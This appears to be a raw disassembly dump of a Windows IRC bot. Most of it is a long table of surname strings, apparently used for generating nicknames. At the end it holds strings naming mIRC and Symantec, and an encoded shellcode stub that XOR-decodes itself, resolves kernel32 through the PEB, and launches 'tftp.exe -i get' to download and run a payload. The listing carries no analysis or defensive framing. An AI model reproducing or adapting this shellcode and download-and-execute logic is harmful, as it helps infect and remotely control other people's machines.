aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB60o
align 4
aFates db 'Fates',0 ; DATA XREF: ___:0042DB5Co
align 10h
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB58o
align 4
aFarren db 'Farren',0 ; DATA XREF: ___:0042DB54o
align 10h
aFarone db 'Farone',0 ; DATA XREF: ___:0042DB50o
align 4
aFaris db 'Faris',0 ; DATA XREF: ___:0042DB4Co
align 10h
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB48o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB44o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB40o
align 10h
aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB3Co
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB38o
aEverett db 'Everett',0 ; DATA XREF: ___:0042DB34o
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB30o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042DB2Co
align 4
aEstes db 'Estes',0 ; DATA XREF: ___:0042DB28o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB24o
align 10h
aErez db 'Erez',0 ; DATA XREF: ___:0042DB20o
align 4
aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB1Co
align 10h
aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB18o
align 4
aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB14o
align 10h
aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB10o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB0Co
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB08o
aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB04o
align 10h
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB00o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DAFCo
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DAF8o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAF4o
aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF0o
align 4
aEdner db 'Edner',0 ; DATA XREF: ___:0042DAECo
align 10h
aEdley db 'Edley',0 ; DATA XREF: ___:0042DAE8o
align 4
aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAE4o
align 10h
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE0o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042DADCo
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAD8o
align 4
aDussault db 'Dussault',0 ; DATA XREF: ___:0042DAD4o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD0o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DACCo
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAC8o
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAC4o
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC0o
align 10h
aDoug db 'Doug',0 ; DATA XREF: ___:0042DABCo
align 4
aDoty db 'Doty',0 ; DATA XREF: ___:0042DAB8o
align 10h
aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAB4o
align 4
aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB0o
align 10h
aDore db 'Dore',0 ; DATA XREF: ___:0042DAACo
align 4
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAA8o
align 10h
aDonner db 'Donner',0 ; DATA XREF: ___:0042DAA4o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA0o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DA9Co
aDockery db 'Dockery',0 ; DATA XREF: ___:0042DA98o
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA94o
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA90o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA8Co
align 10h
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA88o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA84o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA80o
align 10h
aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA7Co
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA78o
align 10h
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA74o
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA70o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042DA6Co
aDenham db 'Denham',0 ; DATA XREF: ___:0042DA68o
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042DA64o
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA60o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA5Co
align 10h
aDeming db 'Deming',0 ; DATA XREF: ___:0042DA58o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042DA50o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA4Co
align 4
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA48o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA44o
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042DA40o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA3Co
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA38o
align 10h
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA30o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA2Co
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA28o
aDavid db 'David',0 ; DATA XREF: ___:0042DA24o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA20o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA1Co
align 4
aDas db 'Das',0 ; DATA XREF: ___:0042DA18o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o
aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA10o
align 10h
aDante db 'Dante',0 ; DATA XREF: ___:0042DA0Co
align 4
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA08o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA04o
aDaly db 'Daly',0 ; DATA XREF: ___:0042DA00o
align 10h
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042D9FCo
align 4
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042D9F8o
aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9F4o
align 4
aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F0o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9ECo
align 4
aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9E8o
aCui db 'Cui',0 ; DATA XREF: ___:0042D9E4o
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E0o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9DCo
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9D8o
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9D4o
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D0o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9CCo
aCounter db 'Counter',0 ; DATA XREF: ___:0042D9C8o
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9C4o
align 10h
aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C0o
aCorey db 'Corey',0 ; DATA XREF: ___:0042D9BCo
align 10h
aConnors db 'Connors',0 ; DATA XREF: ___:0042D9B8o
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9B4o
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B0o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9ACo
align 4
aCompton db 'Compton',0 ; DATA XREF: ___:0042D9A4o
; ___:0042D9A8o
aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A0o
align 4
aCollard db 'Collard',0 ; DATA XREF: ___:0042D99Co
aColella db 'Colella',0 ; DATA XREF: ___:0042D998o
aColdren db 'Coldren',0 ; DATA XREF: ___:0042D994o
aCoito db 'Coito',0 ; DATA XREF: ___:0042D990o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D98Co
aClow db 'Clow',0 ; DATA XREF: ___:0042D988o
align 4
aClifton db 'Clifton',0 ; DATA XREF: ___:0042D984o
aClement db 'Clement',0 ; DATA XREF: ___:0042D980o
aClark db 'Clark',0 ; DATA XREF: ___:0042D97Co
align 10h
aClancy db 'Clancy',0 ; DATA XREF: ___:0042D978o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D974o
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D970o
align 4
aCicero db 'Cicero',0 ; DATA XREF: ___:0042D96Co
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D968o
align 10h
aChurch db 'Church',0 ; DATA XREF: ___:0042D964o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D960o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042D95Co
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D958o
aChristie db 'Christie',0 ; DATA XREF: ___:0042D954o
align 10h
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D950o
align 4
aChristian db 'Christian',0 ; DATA XREF: ___:0042D94Co
align 4
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D948o
aChinman db 'Chinman',0 ; DATA XREF: ___:0042D944o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D940o
aChilds db 'Childs',0 ; DATA XREF: ___:0042D93Co
align 10h
aChildress db 'Childress',0 ; DATA XREF: ___:0042D938o
align 4
aChien db 'Chien',0 ; DATA XREF: ___:0042D934o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D930o
align 10h
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D92Co
align 4
aCherry db 'Cherry',0 ; DATA XREF: ___:0042D928o
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042D924o
align 4
aCharles db 'Charles',0 ; DATA XREF: ___:0042D920o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042D91Co
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D918o
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D914o
align 10h
aCavell db 'Cavell',0 ; DATA XREF: ___:0042D910o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D90Co
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D908o
align 10h
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D904o
align 4
aCase db 'Case',0 ; DATA XREF: ___:0042D900o
align 10h
aCascio db 'Cascio',0 ; DATA XREF: ___:0042D8FCo
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D8F8o
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042D8F4o
align 4
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F0o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8ECo
align 10h
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8E8o
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8E4o
align 10h
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E0o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8DCo
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8D8o
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8D4o
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D0o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8CCo
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8C8o
align 10h
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8C4o
align 4
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C0o
aCanley db 'Canley',0 ; DATA XREF: ___:0042D8BCo
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8B8o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8B4o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B0o
align 4
aCage db 'Cage',0 ; DATA XREF: ___:0042D8ACo
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8A8o
align 4
aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8A4o
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A0o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D89Co
aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D898o
align 10h
aBurke db 'Burke',0 ; DATA XREF: ___:0042D894o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D890o
align 10h
aBurden db 'Burden',0 ; DATA XREF: ___:0042D88Co
align 4
aBunton db 'Bunton',0 ; DATA XREF: ___:0042D888o
align 10h
aBullard db 'Bullard',0 ; DATA XREF: ___:0042D884o
aBudding db 'Budding',0 ; DATA XREF: ___:0042D880o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D87Co
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D878o
aBrook db 'Brook',0 ; DATA XREF: ___:0042D874o
align 4
aBroca db 'Broca',0 ; DATA XREF: ___:0042D870o
align 10h
aBritz db 'Britz',0 ; DATA XREF: ___:0042D86Co
align 4
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D868o
aBridges db 'Bridges',0 ; DATA XREF: ___:0042D864o
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D860o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D858o
; ___:0042D85Co
align 4
aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D854o
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D850o
align 4
aBreed db 'Breed',0 ; DATA XREF: ___:0042D84Co
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D848o
align 4
aBradach db 'Bradach',0 ; DATA XREF: ___:0042D844o
aBradac db 'Bradac',0 ; DATA XREF: ___:0042D840o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D83Co
align 4
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D838o
align 10h
aBoym db 'Boym',0 ; DATA XREF: ___:0042D834o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D830o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D82Co
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D828o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D824o
align 4
aBowers db 'Bowers',0 ; DATA XREF: ___:0042D820o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D81Co
align 10h
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D818o
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D814o
align 10h
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D810o
align 4
aBothman db 'Bothman',0 ; DATA XREF: ___:0042D80Co
aBossi db 'Bossi',0 ; DATA XREF: ___:0042D808o
align 4
aBorden db 'Borden',0 ; DATA XREF: ___:0042D804o
align 10h
aBorack db 'Borack',0 ; DATA XREF: ___:0042D800o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D7FCo
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042D7F8o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7F4o
align 4
aBook db 'Book',0 ; DATA XREF: ___:0042D7F0o
align 10h
aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7ECo
align 4
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7E8o
align 4
aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7E4o
align 10h
aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E0o
align 4
aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7DCo
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7D8o
align 4
aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7D4o
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D0o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7CCo
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7C8o
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7C4o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C0o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7BCo
align 4
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7B8o
aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7B4o
align 4
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B0o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7ACo
align 10h
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7A8o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7A4o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A0o
align 10h
aBisho db 'Bisho',0 ; DATA XREF: ___:0042D79Co
align 4
aBisema db 'Bisema',0 ; DATA XREF: ___:0042D798o
align 10h
aBir db 'Bir',0 ; DATA XREF: ___:0042D794o
aBinion db 'Binion',0 ; DATA XREF: ___:0042D790o
align 4
aBickel db 'Bickel',0 ; DATA XREF: ___:0042D78Co
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D788o
align 10h
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D784o
aBetti db 'Betti',0 ; DATA XREF: ___:0042D780o
align 10h
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D77Co
align 10h
aBernston db 'Bernston',0 ; DATA XREF: ___:0042D778o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D774o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D770o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D76Co
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042D768o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D764o
align 4
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D760o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042D75Co
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D758o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D754o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D750o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D74Co
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D748o
align 4
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D744o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D740o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042D73Co
aBeder db 'Beder',0 ; DATA XREF: ___:0042D738o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D734o
aBean db 'Bean',0 ; DATA XREF: ___:0042D730o
align 4
aBeal db 'Beal',0 ; DATA XREF: ___:0042D72Co
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D728o
align 4
aBayo db 'Bayo',0 ; DATA XREF: ___:0042D724o
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042D720o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D71Co
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D718o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D714o
align 10h
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D710o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D70Co
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D708o
align 10h
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D704o
aBarry db 'Barry',0 ; DATA XREF: ___:0042D700o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D6FCo
align 10h
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D6F8o
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6F4o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F0o
align 10h
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6ECo
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6E8o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6E4o
align 10h
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E0o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6DCo
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042D6D8o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6D4o
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D0o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6CCo
align 4
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6C8o
align 10h
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6C4o
align 4
aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C0o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6BCo
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6B8o
aBady db 'Bady',0 ; DATA XREF: ___:0042D6B4o
align 4
aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B0o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6ACo
align 10h
aAzima db 'Azima',0 ; DATA XREF: ___:0042D6A8o
align 4
aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6A4o
align 10h
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A0o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D69Co
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D698o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D694o
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D690o
align 10h
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D68Co
align 4
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D688o
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042D684o
align 4
aArjas db 'Arjas',0 ; DATA XREF: ___:0042D680o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D67Co
align 10h
aArellano db 'Arellano',0 ; DATA XREF: ___:0042D678o
align 4
aArduini db 'Arduini',0 ; DATA XREF: ___:0042D674o
aArbia db 'Arbia',0 ; DATA XREF: ___:0042D670o
align 4
aAntos db 'Antos',0 ; DATA XREF: ___:0042D66Co
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D668o
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D664o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D660o
align 10h
aAndron db 'Andron',0 ; DATA XREF: ___:0042D65Co
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D658o
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042D654o
align 4
aAndel db 'Andel',0 ; DATA XREF: ___:0042D650o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042D64Co
align 4
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D648o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D644o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D640o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D63Co
align 10h
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D638o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D634o
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D630o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D62Co
align 4
aAllison db 'Allison',0 ; DATA XREF: ___:0042D628o
aAleks db 'Aleks',0 ; DATA XREF: ___:0042D624o
align 4
aAlda db 'Alda',0 ; DATA XREF: ___:0042D620o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D61Co
align 4
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D618o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D614o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D610o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D60Co
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D608o
align 4
aAddison db 'Addison',0 ; DATA XREF: ___:off_42D604o
aAdams db 'Adams',0 ; DATA XREF: ___:0042D600o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D5FCo
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D5F8o
align 10h
byte_431250 db 50h ; DATA XREF: ___:0040ADEFo
; ___:0040ADFCr
db 43h, 2 dup(0)
dword_431254 dd 7C7325h ; DATA XREF: ___:0040AE9Ao
dword_431258 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o
dword_431260 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo
; sub_41AA42:loc_41AB05o
dword_431264 dd 334B32h ; DATA XREF: ___:0040AF94o
dword_431268 dd 5058h ; DATA XREF: ___:0040AF86o
; sub_41AA42+AAo
dword_43126C dd 4B32h ; DATA XREF: ___:0040AF76o
; sub_41AA42+98o
dword_431270 dd 454Dh ; DATA XREF: ___:0040AF5Do
; sub_41AA42+7Eo
dword_431274 dd 3839h ; DATA XREF: ___:0040AF4Do
; sub_41AA42+6Co
dword_431278 dd 544Eh ; DATA XREF: ___:0040AF3Do
; sub_41AA42+5Ao
dword_43127C dd 3539h ; DATA XREF: ___:0040AF2Fo
; sub_41AA42+46o
dword_431280 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao
dword_431288 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co
; sub_40AFEA+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o
; sub_418211+5o
align 4
jmp short loc_431298
; ---------------------------------------------------------------------------
loc_431296: ; CODE XREF: ___:loc_431298p
jmp short loc_43129D
; ---------------------------------------------------------------------------
loc_431298: ; CODE XREF: ___:00431294j
call loc_431296
loc_43129D: ; CODE XREF: ___:loc_431296j
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_4312A4: ; CODE XREF: ___:004312A9j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_4312A4
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_4312BA: ; CODE XREF: ___:004312BFj
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_4312BA
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_43135C
jnz short loc_431348
retn
; ---------------------------------------------------------------------------
loc_431348: ; CODE XREF: ___:00431345j
; ___:00431355j
call near ptr loc_43134D+1
loc_43134D: ; CODE XREF: ___:loc_431348p
add [edx+0], ch
call sub_43135C
jz loc_431348
retn
; =============== S U B R O U T I N E =======================================
sub_43135C proc near ; CODE XREF: ___:00431340p
; ___:00431350p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_43135C endp
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C124+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o
align 4
dd 5 dup(0)
dword_431408 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r
; sub_401ACD+1DC9o ...
off_43140C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr
dword_431410 dd 0 ; DATA XREF: sub_40B64A+2Eo
; ___:0040D495w ...
dword_431414 dd 1 ; DATA XREF: sub_40BACD+1Fr
